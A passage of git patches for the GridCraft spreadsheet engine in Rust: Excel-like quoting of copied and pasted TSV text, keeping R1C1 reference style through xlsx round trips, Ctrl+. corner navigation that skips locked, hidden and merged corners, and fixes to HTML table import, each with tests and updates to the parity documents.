| 19 +++++++++++++++++++ crates/engine/src/display.rs | 4 +++- docs/ui-parity.md | 3 ++- 4 files changed, 34 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/cmd/edit/clipboard.rs b/crates/engine/src/cmd/edit/clipboard.rs index 3a1cd0739..1490b082c 100644 --- a/crates/engine/src/cmd/edit/clipboard.rs +++ b/crates/engine/src/cmd/edit/clipboard.rs @@ -228,14 +228,23 @@ pub(crate) fn parse_tsv(text: &str) -> Vec> { let mut chars = text.chars().peekable(); let mut quoted = false; let mut at_start = true; + // A quoted field's text as it stands in the input, for a field that turns out not to be one. + let mut raw = String::new(); while let Some(c) = chars.next() { if quoted { + raw.push(c); if c == '"' { if chars.peek() == Some(&'"') { field.push('"'); + raw.push('"'); chars.next(); } else { quoted = false; + // A field is quoted only when its closing quote ends it, as Excel reads it: + // `"hi" there` is that text, quotes included. + if !matches!(chars.peek(), None | Some('\t' | '\n' | '\r')) { + field = std::mem::take(&mut raw); + } } } else { field.push(c); @@ -246,6 +255,7 @@ pub(crate) fn parse_tsv(text: &str) -> Vec> { '"' if at_start => { quoted = true; at_start = false; + raw = String::from('"'); } '\t' => { row.push(std::mem::take(&mut field)); diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 3f3a2fb6d..5034646cd 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -307,6 +307,9 @@ fn tsv() { assert_eq!(parse_tsv("a\tb\n1\t2\n"), vec![vec!["a", "b"], vec!["1", "2"]]); assert_eq!(parse_tsv("\"x\ty\"\tz"), vec![vec!["x\ty", "z"]]); assert_eq!(parse_tsv("\"he said \"\"hi\"\"\""), vec![vec!["he said \"hi\""]]); + // #2225: a quote that doesn't close the field leaves it as written, as Excel pastes it. + assert_eq!(parse_tsv("\"hi\" there\tx\n"), vec![vec!["\"hi\" there", "x"]]); + assert_eq!(parse_tsv("say \"hi\"\n"), vec![vec!["say \"hi\""]]); } #[test] @@ -371,3 +374,19 @@ fn replace_case_insensitive_keeps_text_when_folding_moves_boundaries() { let sh = s.doc().unwrap().wb.active().unwrap(); assert_eq!(sh.value(CellRef::new(0, 0)), Value::text(text)); } + +#[test] +fn copy_quotes_only_cells_with_tabs_or_line_breaks() { + // #2225: a cell holding a quote was wrapped in quotes on copy; Excel quotes only text with a + // tab or line break, and pastes the result back as the same cells. + let mut s = Session::new(); + s.new_workbook(); + for (cell, input) in [("A1", "say \"hi\""), ("A2", "plain"), ("A3", "\"hi\" there"), ("A4", "x \"q\"\ny"), ("A5", "tab\tinside")] { + s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap(); + } + let text = s.execute("edit.copy", json!({"range": "A1:A5"})).unwrap()["text"].as_str().unwrap().to_string(); + assert_eq!(text, "say \"hi\"\nplain\n\"hi\" there\n\"x \"\"q\"\"\ny\"\n\"tab\tinside\"\n"); + let rows = parse_tsv(&text); + let cells: Vec<&str> = rows.iter().map(|r| r[0].as_str()).collect(); + assert_eq!(cells, ["say \"hi\"", "plain", "\"hi\" there", "x \"q\"\ny", "tab\tinside"]); +} diff --git a/crates/engine/src/display.rs b/crates/engine/src/display.rs index 2189d6c64..06a0fa587 100644 --- a/crates/engine/src/display.rs +++ b/crates/engine/src/display.rs @@ -156,7 +156,9 @@ pub fn range_text(wb: &Workbook, sheet: usize, r: RangeRef) -> String { } first = false; let t = cell_text(wb, sh, CellRef::new(row, col)); - if t.contains(['\t', '\n', '"']) { + // Like Excel, only text with a tab or line break is quoted (its quotes doubled); + // `say "hi"` is copied as it is (#2225). + if t.contains(['\t', '\n', '\r']) { out.push('"'); out.push_str(&t.replace('"', "\"\"")); out.push('"'); diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..bf36ff04d 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (copy quotes only cells with a tab or line break, as Excel does; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Copy puts a cell that holds a quote on the clipboard as it is (`say "hi"`), quoting only text with a tab or line break, as Excel does; pasting text reads a field as quoted only when its closing quote ends it, so `"hi" there` pastes with its quotes (#2225) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From c121fb590152c562546dc2d248109b7e06195e0e Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:07:29 -0600 Subject: [PATCH 089/167] #2809: keep a workbook's R1C1 reference style through open and save A workbook saved by Excel in R1C1 reference style says so in . GridCraft didn't read the attribute, so opening and saving such a file switched it back to A1 style for the next person who opened it in Excel. The calculation settings now keep it (CalcSettings.r1c1, serde default false) and the writer puts it back; A1 stays the default and isn't written. GridCraft itself still shows and takes A1 references; the R1C1 display and entry are the rest of the issue. Co-Authored-By: Claude Opus 5.5 --- crates/model/src/workbook.rs | 5 +++++ crates/xlsx/src/read.rs | 1 + crates/xlsx/src/tests/roundtrip.rs | 20 +++++++++++++++++++- crates/xlsx/src/write.rs | 3 +++ docs/file-format-parity.md | 3 ++- 5 files changed, 30 insertions(+), 2 deletions(-) diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 2d16b46b5..1c5b007f6 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -95,6 +95,10 @@ pub struct CalcSettings { pub max_change: f64, /// Use precision as displayed. pub precision_as_displayed: bool, + /// R1C1 reference style (``): kept with the file and written back; + /// GridCraft itself shows and takes A1 references. + #[serde(default)] + pub r1c1: bool, } impl Default for CalcSettings { @@ -105,6 +109,7 @@ impl Default for CalcSettings { max_iterations: Self::DEFAULT_ITERATIONS, max_change: Self::DEFAULT_CHANGE, precision_as_displayed: false, + r1c1: false, } } } diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 3cc2a6655..ead44c0e7 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -221,6 +221,7 @@ fn read_workbook_properties(cx: &mut Ctx<'_>, wb: &mut Workbook, xml: &El) { wb.calc.set_max_change(d); } wb.calc.precision_as_displayed = !c.flag("fullPrecision", true); + wb.calc.r1c1 = c.attr("refMode") == Some("R1C1"); } if let Some(p) = xml.child("workbookProtection") { wb.protected_structure = p.flag("lockStructure", false); diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 2bdba21b8..ade0835c2 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -20,7 +20,7 @@ fn rr(a: &str) -> RangeRef { fn sample() -> Workbook { let mut wb = Workbook::new(); wb.date_system = DateSystem::D1904; - wb.calc = CalcSettings { mode: CalcMode::Manual, iterative: true, max_iterations: 42, max_change: 0.5, precision_as_displayed: true }; + wb.calc = CalcSettings { mode: CalcMode::Manual, iterative: true, max_iterations: 42, max_change: 0.5, precision_as_displayed: true, r1c1: true }; wb.protected_structure = true; wb.structure_password = Some(gridcraft_model::PasswordHash::new_sha512("s3cret", b"0123456789abcdef")); wb.props = DocProps { @@ -1696,3 +1696,21 @@ fn generated_rule_formulas_use_the_top_left_cell_of_every_area() { z.by_name("xl/worksheets/sheet1.xml").unwrap().read_to_string(&mut xml).unwrap(); assert!(xml.contains("NOT(ISERROR(SEARCH(\"x\",C2)))"), "{xml}"); } + +#[test] +fn r1c1_reference_style_is_kept() { + // #2809: `` was dropped on open, so a workbook saved by Excel in R1C1 + // style came back in A1 style. + let bytes = super::minimal("", &[], "", r#""#); + let (wb, _) = read_xlsx(&bytes).unwrap(); + assert!(wb.calc.r1c1); + let saved = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let book = pkg.read_xml("xl/workbook.xml").unwrap().unwrap(); + assert_eq!(book.child("calcPr").and_then(|c| c.attr("refMode")), Some("R1C1")); + // A1 is the default and isn't written. + let saved = write_xlsx(&Workbook::new()).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let book = pkg.read_xml("xl/workbook.xml").unwrap().unwrap(); + assert_eq!(book.child("calcPr").and_then(|c| c.attr("refMode")), None); +} diff --git a/crates/xlsx/src/write.rs b/crates/xlsx/src/write.rs index 2c1e8f60f..a96e7a350 100644 --- a/crates/xlsx/src/write.rs +++ b/crates/xlsx/src/write.rs @@ -326,6 +326,9 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) if wb.calc.precision_as_displayed { w.push_str(" fullPrecision=\"0\""); } + if wb.calc.r1c1 { + w.push_str(" refMode=\"R1C1\""); + } if out.needs_calc { w.push_str(" fullCalcOnLoad=\"1\""); } diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..f07bb1fcf 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-03 · **Change:** minor (a workbook's R1C1 reference style, `calcPr refMode`, is kept through open and save; earlier: Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -155,6 +155,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | XLSX `` (a workbook saved in R1C1 reference style) is read into the calculation settings and written back; GridCraft itself still shows A1 references (#2809, file part) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | From 5acb4af7892c14d2fe8da57dae91f634b281cabf Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:08:01 -0600 Subject: [PATCH 090/167] #1442: Ctrl+. skips corners the sheet can't select and stops once on a merged corner Addresses CodeRabbit review on #3226: - "Check the next corner against protected-sheet selection rules": on a sheet protected without Select Locked Cells, Ctrl+. could make a locked corner active. It now goes on to the next corner it may select. - "Keep the active cell at a merged cell's anchor": a corner inside a merged cell made that cell active instead of the merge's top-left cell. The corner now lands on the top-left cell, and corners in the same merged cell are one stop. Selection::next_corner_by takes where each corner leads (or None to skip it); next_corner keeps its plain behaviour. Tests: next_corner_skips_corners_the_sheet_protection_does_not_let_you_select, next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/selection.rs | 8 +++++++- crates/engine/src/cmd/edit/tests.rs | 27 +++++++++++++++++++++++++ crates/engine/src/selection.rs | 19 ++++++++++++----- 3 files changed, 48 insertions(+), 6 deletions(-) diff --git a/crates/engine/src/cmd/edit/selection.rs b/crates/engine/src/cmd/edit/selection.rs index 03e178156..27db1c53a 100644 --- a/crates/engine/src/cmd/edit/selection.rs +++ b/crates/engine/src/cmd/edit/selection.rs @@ -139,7 +139,13 @@ pub(super) fn selection_next(s: &mut Session, p: &Json) -> Result { pub(super) fn selection_next_corner(s: &mut Session, _: &Json) -> Result { let d = s.doc_mut()?; - d.selection.next_corner(); + let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) }; + // A corner in a merged cell lands on its top-left cell; one the sheet's protection doesn't + // let you select is skipped. + let stop = |c: CellRef| Some(sheet.merge_at(c).map_or(c, |m| m.start)).filter(|c| cell_selectable(&d.wb, sheet, *c)); + let mut next = d.selection.clone(); + next.next_corner_by(stop); + d.selection = next; Ok(json!({"active": d.selection.active.a1(), "selection": d.selection.a1()})) } diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index ead610e50..8e8c52b36 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -397,3 +397,30 @@ fn next_corner_of_selection_goes_clockwise_and_anchors_there() { s.execute("selection.set", json!({"range": "C5"})).unwrap(); assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C5"); } + +#[test] +fn next_corner_skips_corners_the_sheet_protection_does_not_let_you_select() { + // With locked cells unselectable, Ctrl+. goes on to the next corner it may select. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.lockCell", json!({"range": "B2:C3", "on": false})).unwrap(); + s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap(); + s.execute("review.protectSheet", json!({"selectLockedCells": false})).unwrap(); + let r = s.execute("selection.nextCorner", json!({})).unwrap(); + assert_eq!((r["active"].as_str(), r["selection"].as_str()), (Some("B3"), Some("B2:D3")), "D2 and D3 are locked"); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B2"); +} + +#[test] +fn next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell() { + // A corner inside a merged cell is that merged cell, whose active cell is its top-left one. + let mut s = Session::new(); + s.new_workbook(); + s.execute("home.mergeCells", json!({"range": "C2:D2"})).unwrap(); + s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap(); + let seen: Vec = (0..4).map(|_| s.execute("selection.nextCorner", json!({})).unwrap()["active"].as_str().unwrap().to_string()).collect(); + assert_eq!(seen, ["C2", "D3", "B3", "B2"]); + // A selection that is one merged cell has no other corner. + s.execute("selection.set", json!({"range": "C2:D2", "active": "C2"})).unwrap(); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C2"); +} diff --git a/crates/engine/src/selection.rs b/crates/engine/src/selection.rs index a69870adb..3f3feee9d 100644 --- a/crates/engine/src/selection.rs +++ b/crates/engine/src/selection.rs @@ -134,14 +134,23 @@ impl Selection { /// so Shift+arrows then move the opposite corner. The area stays selected. From a cell that /// isn't a corner the next corner is the top-left one; a single cell stays where it is. pub fn next_corner(&mut self) { + self.next_corner_by(Some); + } + + /// [`Selection::next_corner`] where `stop` says where each corner takes the active cell: the + /// top-left cell of a merged cell the corner is in, or `None` for a corner that can't be + /// selected (it is skipped). Corners that end up on the active cell are one stop with it. + pub fn next_corner_by(&mut self, stop: impl Fn(CellRef) -> Option) { let r = self.current(); let corners = [r.start, CellRef::new(r.start.row, r.end.col), r.end, CellRef::new(r.end.row, r.start.col)]; - let next = match corners.iter().position(|c| *c == self.active) { - Some(i) => (1..=4).filter_map(|k| corners.get((i + k) % 4)).copied().find(|c| *c != self.active).unwrap_or(self.active), - None => r.start, + let next = match corners.iter().rposition(|c| stop(*c) == Some(self.active)) { + Some(i) => (1..=4).filter_map(|k| corners.get((i + k) % 4)).filter_map(|c| stop(*c)).find(|c| *c != self.active), + None => corners.iter().find_map(|c| stop(*c)), }; - self.active = next; - self.anchor = next; + if let Some(next) = next { + self.active = next; + self.anchor = next; + } } } From e23994b7cb990416caee69b871dd140c1fba63d7 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:17:35 -0600 Subject: [PATCH 091/167] #3166: a web page's table keeps its characters, its shown text and its header formats MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses CodeRabbit review on #3223: - "Decode HTML before parsing its cells": a page in Windows-1252 read as lossy UTF-8, so "Café" lost its é. The page is now decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256); decode_text is exported for it. - "Keep visible cell text when csv_as_text is enabled": opened as text, a cell with x:num took the recorded number ("4,50" became "4.5"). The recorded number is used only when values are read. - "Preserve the imported format when styling a header": a date in a lost its date format when made bold and centred. Header styling now builds on the style the CSV reader gave the cell. Test: a_web_page_table_keeps_its_characters_text_and_header_formats. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/io.rs | 36 ++++++++++++++++++++++------------- crates/engine/src/io/tests.rs | 20 +++++++++++++++++++ crates/xlsx/src/lib.rs | 2 +- 3 files changed, 44 insertions(+), 14 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 9e3c7f7ae..f62a55e40 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -355,7 +355,8 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String { /// header cells (``) are bold and centred, and the sheet takes the name the page gives it /// (``) or the file's. `None` when the bytes aren't such a page. fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text: bool) -> Option)>> { - let text = String::from_utf8_lossy(bytes); + // Decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256), so a legacy page keeps its letters. + let text = gridcraft_xlsx::decode_text(bytes); let head: String = text.trim_start_matches('\u{feff}').trim_start().chars().take(16).collect::().to_ascii_lowercase(); if ![", bytes: &[u8], csv_as_text let fields: Vec = row .iter() .map(|cell| { - let field = match cell.num { + // The number the page recorded (`x:num`) only when values are read; as text, the + // cell keeps the text it shows. + let field = match cell.num.filter(|_| !csv_as_text) { Some(n) => gridcraft_core::number_to_text(n), None => cell.text.split_whitespace().collect::>().join(" "), }; @@ -384,17 +387,24 @@ fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text let read = gridcraft_xlsx::read_csv_with_report(tsv.as_bytes(), &opts).map_err(|e| EngineError::Other(e.to_string())); Some(read.map(|(mut wb, report)| { wb.csv_delimiter = None; - let header_style = wb.styles.derive(gridcraft_model::StyleId::DEFAULT, |st| { - st.font.bold = true; - st.align.h = gridcraft_model::HAlign::Center; - }); - if let Some(sh) = wb.sheet_mut(0) { - for (r, row) in rows.iter().enumerate() { - for (c, cell) in row.iter().enumerate() { - if cell.header && !cell.text.trim().is_empty() { - sh.set_style(CellRef::new(r as u32, c as u32), header_style); - } - } + // Header cells are bold and centred on top of the style the CSV reader gave them, so a + // date in a header keeps its date format. + let headers: Vec = rows + .iter() + .enumerate() + .flat_map(|(r, row)| row.iter().enumerate().filter(|(_, cell)| cell.header && !cell.text.trim().is_empty()).map(move |(c, _)| CellRef::new(r as u32, c as u32))) + .collect(); + let mut bold: std::collections::HashMap = std::collections::HashMap::new(); + for at in headers { + let Some(base) = wb.sheet(0).map(|sh| sh.style_id(at)) else { continue }; + let id = *bold.entry(base).or_insert_with(|| { + wb.styles.derive(base, |st| { + st.font.bold = true; + st.align.h = gridcraft_model::HAlign::Center; + }) + }); + if let Some(sh) = wb.sheet_mut(0) { + sh.set_style(at, id); } } let page_name = find_between(&text, "", "").map(|n| crate::clip_html::normalized(n.trim())); diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 34b1a3c0a..fab60261f 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -636,3 +636,23 @@ fn a_web_page_saved_as_xls_opens_its_table() { let (wb, _) = open_bytes("notes.csv", b",1\nx,2\n").unwrap(); assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(2.0)); } + +#[test] +fn a_web_page_table_keeps_its_characters_text_and_header_formats() { + // A page saved in Windows-1252 keeps its accented letters (it read as replacement characters). + let mut page = b"
Caf".to_vec(); + page.push(0xE9); + page.extend_from_slice(b"2024-01-15
Plum4,50
"); + let (wb, _) = open_bytes("menu.xls", &page).unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::text("Café")); + // A date in a header cell stays a date, bold and centred (its format was replaced). + let b1 = wb.styles.get(sh.style_id(CellRef::parse("B1").unwrap())); + assert!(matches!(sh.value(CellRef::parse("B1").unwrap()), gridcraft_core::Value::Number(_))); + assert!(b1.font.bold && b1.align.h == gridcraft_model::HAlign::Center); + assert_ne!(b1.num_fmt.as_str(), "General", "the date keeps its date format"); + assert_eq!(sh.value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(4.5)); + // Opened as text, a cell keeps the text it shows, not the number the page recorded for it. + let (wb, _) = open_bytes_with("menu.xls", &page, None, true).unwrap(); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::text("4,50")); +} diff --git a/crates/xlsx/src/lib.rs b/crates/xlsx/src/lib.rs index 5b94531c4..a6ede6af5 100644 --- a/crates/xlsx/src/lib.rs +++ b/crates/xlsx/src/lib.rs @@ -47,7 +47,7 @@ use gridcraft_core::DateSystem; use gridcraft_model::Workbook; pub use crypto::{DecryptError, check_encryption, decrypt}; -pub use csv::{MAX_CSV_BYTES, read_csv, read_csv_with_report, write_csv, write_csv_limited}; +pub use csv::{MAX_CSV_BYTES, decode_text, read_csv, read_csv_with_report, write_csv, write_csv_limited}; pub use ods::read_ods; pub use package::MAX_PART; pub use passthrough::rebase_links; From 914a76a9d84b3cca02d247662c9091624ce3ebe1 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:21:40 -0600 Subject: [PATCH 092/167] #1442: Ctrl+. skips hidden corners and stays inside the selected area Addresses CodeRabbit review on #3226, "Skip hidden corner destinations" and "Keep merged destinations inside the selected area": with column D hidden, Ctrl+. on B2:D3 made D2 active; with B1:C1 merged and column C selected, it made B1 active, outside the selection. A corner in a hidden row or column, or one whose merged cell starts outside the selected area, is now passed over like a locked corner on a protected sheet. Test: next_corner_skips_hidden_corners_and_stays_inside_the_selected_area. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/selection.rs | 11 ++++++++--- crates/engine/src/cmd/edit/tests.rs | 19 +++++++++++++++++++ 2 files changed, 27 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/edit/selection.rs b/crates/engine/src/cmd/edit/selection.rs index 27db1c53a..8115f6390 100644 --- a/crates/engine/src/cmd/edit/selection.rs +++ b/crates/engine/src/cmd/edit/selection.rs 